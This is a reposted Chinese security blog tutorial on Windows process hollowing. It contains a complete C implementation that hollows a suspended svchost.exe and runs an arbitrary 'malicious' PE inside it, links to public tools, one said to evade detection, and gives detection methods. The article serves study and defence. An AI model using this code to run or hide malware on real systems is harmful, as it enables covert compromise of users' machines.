进程操作技术(上)——进程镂空的艺术

admin 2026-03-26 13:34:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细解析进程镂空技术,通过创建挂起的合法进程并用恶意代码替换其内存实现隐蔽执行。文章给出完整C语言实现流程,包括CreateProcess挂起创建、卸载原始镜像、写入恶意PE、修改PEB与入口点等关键步骤,并提供API监控、内存完整性检查等检测方法。技术深度较高,代码可直接运行,对理解进程操作和红队攻防具有重要参考价值。 综合评分: 86 文章分类: 红队,恶意软件,二进制安全,逆向分析,漏洞POC


cover_image

进程操作技术(上)——进程镂空的艺术

原创

pandazhengzheng pandazhengzheng

安全分析与研究

2026年3月23日 08:30 广东

一、前言概述

进程操作技术是恶意软件和红队工具的核心技术之一,通过操作进程来实现代码执行、权限提升和隐藏等目的。进程镂空(Process Hollowing)作为经典的进程操作技术,至今仍被广泛使用。

本文将深入解析进程镂空技术的原理、实现方法和检测技术,帮助读者理解这一经典攻击技术,为后续学习更高级的进程操作技术奠定基础。

二、相关内容

2.1 进程操作技术概述

2.1.1 主要技术分类

进程创建与操作

  • CreateProcess
  • 进程镂空(Process Hollowing)

进程注入

  • DLL注入
  • 代码注入
  • 线程劫持

进程伪装

  • 进程替换
  • 进程伪装

2.2 进程镂空(Process Hollowing)

2.2.1 技术原理

进程镂空是一种经典的进程操作技术,通过创建一个合法进程的挂起实例,然后用恶意代码替换其内存空间,使进程”外壳”合法,内部执行恶意代码。

2.2.2 技术流程

1. 创建挂起的合法进程
   CreateProcess(CREATE_SUSPENDED)
       │
       ▼
2. 获取进程上下文
   GetThreadContext()
       │
       ▼
3. 读取PEB获取镜像基址
   ReadProcessMemory(PEB)
       │
       ▼
4. 卸载原始镜像
   NtUnmapViewOfSection()
       │
       ▼
5. 分配新内存
   VirtualAllocEx()
       │
       ▼
6. 写入恶意PE
   WriteProcessMemory()
       │
       ▼
7. 修改PEB中的镜像基址
   WriteProcessMemory(PEB)
       │
       ▼
8. 修改上下文入口点
   SetThreadContext()
       │
       ▼
9. 恢复线程执行
   ResumeThread()

2.2.3 代码实现

#include&nbsp;<windows.h>
#include&nbsp;<stdio.h>

void&nbsp;ProcessHollowing(const&nbsp;char* targetProcess,&nbsp;const&nbsp;char* maliciousPE)&nbsp;{
&nbsp; &nbsp; STARTUPINFOA si = {&nbsp;sizeof(si) };
&nbsp; &nbsp; PROCESS_INFORMATION pi;
&nbsp; &nbsp; CONTEXT ctx;
&nbsp; &nbsp; ctx.ContextFlags = CONTEXT_FULL;

&nbsp; &nbsp;&nbsp;// 1. 创建挂起的进程
&nbsp; &nbsp;&nbsp;if&nbsp;(!CreateProcessA(NULL, (LPSTR)targetProcess,&nbsp;NULL,&nbsp;NULL, FALSE,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CREATE_SUSPENDED | CREATE_NO_WINDOW,&nbsp;NULL,&nbsp;NULL, &si, &pi)) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;printf("CreateProcess failed: %d\n", GetLastError());
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 2. 获取线程上下文
&nbsp; &nbsp; GetThreadContext(pi.hThread, &ctx);

&nbsp; &nbsp;&nbsp;// 3. 读取PEB获取镜像基址
&nbsp; &nbsp; LPVOID pebOffset = (LPVOID)(ctx.Rdx);&nbsp;// x64 PEB地址在RDX
&nbsp; &nbsp; LPVOID imageBaseOffset = (LPVOID)((DWORD64)pebOffset +&nbsp;0x10);
&nbsp; &nbsp; LPVOID remoteImageBase;
&nbsp; &nbsp; ReadProcessMemory(pi.hProcess, imageBaseOffset, &remoteImageBase,&nbsp;sizeof(LPVOID),&nbsp;NULL);

&nbsp; &nbsp;&nbsp;// 4. 卸载原始镜像
&nbsp; &nbsp; HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
&nbsp; &nbsp;&nbsp;typedef&nbsp;NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
&nbsp; &nbsp; pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(hNtdll,&nbsp;"NtUnmapViewOfSection");
&nbsp; &nbsp; NtUnmapViewOfSection(pi.hProcess, remoteImageBase);

&nbsp; &nbsp;&nbsp;// 5. 读取恶意PE文件
&nbsp; &nbsp; HANDLE hFile = CreateFileA(maliciousPE, GENERIC_READ,&nbsp;0,&nbsp;NULL, OPEN_EXISTING,&nbsp;0,&nbsp;NULL);
&nbsp; &nbsp; DWORD fileSize = GetFileSize(hFile,&nbsp;NULL);
&nbsp; &nbsp; LPVOID fileBuffer = VirtualAlloc(NULL, fileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
&nbsp; &nbsp; DWORD bytesRead;
&nbsp; &nbsp; ReadFile(hFile, fileBuffer, fileSize, &bytesRead,&nbsp;NULL);
&nbsp; &nbsp; CloseHandle(hFile);

&nbsp; &nbsp;&nbsp;// 6. 分配新内存
&nbsp; &nbsp; PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
&nbsp; &nbsp; PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD64)fileBuffer + dosHeader->e_lfanew);
&nbsp; &nbsp; LPVOID remoteMemory = VirtualAllocEx(pi.hProcess, remoteImageBase, ntHeaders->OptionalHeader.SizeOfImage,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

&nbsp; &nbsp;&nbsp;// 7. 写入PE头
&nbsp; &nbsp; WriteProcessMemory(pi.hProcess, remoteMemory, fileBuffer, ntHeaders->OptionalHeader.SizeOfHeaders,&nbsp;NULL);

&nbsp; &nbsp;&nbsp;// 8. 写入节区
&nbsp; &nbsp; PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
&nbsp; &nbsp; &nbsp; &nbsp; LPVOID sectionDest = (LPVOID)((DWORD64)remoteMemory + sectionHeader[i].VirtualAddress);
&nbsp; &nbsp; &nbsp; &nbsp; LPVOID sectionSrc = (LPVOID)((DWORD64)fileBuffer + sectionHeader[i].PointerToRawData);
&nbsp; &nbsp; &nbsp; &nbsp; WriteProcessMemory(pi.hProcess, sectionDest, sectionSrc, sectionHeader[i].SizeOfRawData,&nbsp;NULL);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 9. 修改PEB中的镜像基址
&nbsp; &nbsp; WriteProcessMemory(pi.hProcess, imageBaseOffset, &remoteMemory,&nbsp;sizeof(LPVOID),&nbsp;NULL);

&nbsp; &nbsp;&nbsp;// 10. 修改入口点
&nbsp; &nbsp; ctx.Rcx = (DWORD64)remoteMemory + ntHeaders->OptionalHeader.AddressOfEntryPoint;
&nbsp; &nbsp; SetThreadContext(pi.hThread, &ctx);

&nbsp; &nbsp;&nbsp;// 11. 恢复线程
&nbsp; &nbsp; ResumeThread(pi.hThread);

&nbsp; &nbsp;&nbsp;// 清理
&nbsp; &nbsp; VirtualFree(fileBuffer,&nbsp;0, MEM_RELEASE);
&nbsp; &nbsp; CloseHandle(pi.hProcess);
&nbsp; &nbsp; CloseHandle(pi.hThread);
}

int&nbsp;main()&nbsp;{
&nbsp; &nbsp; ProcessHollowing("C:\\Windows\\System32\\svchost.exe",&nbsp;"C:\\malware.exe");
&nbsp; &nbsp;&nbsp;return0;
}

2.2.4 检测方法

1. API监控

  • 监控CreateProcess with CREATE_SUSPENDED
  • 监控NtUnmapViewOfSection
  • 监控WriteProcessMemory写入可执行内存

2. 内存完整性检查

  • 检查进程内存与磁盘文件是否一致
  • 检测PE头是否被修改

3. 行为分析

  • 检测进程启动后立即执行异常代码
  • 检测进程行为与预期不符

2.2.5 实战工具

ProcessHollowing_CSharp

  • GitHub: https://github.com/Kara-4search/ProcessHollowing_CSharp
  • C#实现的Process Hollowing

Process-Hollowing

  • GitHub: https://github.com/vatsalgupta67/Process-Hollowing
  • C++实现,包含详细注释

ProcessHollowing3

  • GitHub: https://github.com/mm-rezaei/ProcessHollowing3
  • 改进版本,绕过某些检测

2.3 进程镂空的变种

2.3.1 Process Doppelgänging

原理:

  • 利用NTFS事务(Transactional NTFS)
  • 在事务中修改文件
  • 创建进程后回滚事务
  • 文件在磁盘上不存在恶意内容

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《进程操作技术(上)——进程镂空的艺术》

评论:0   参与:  0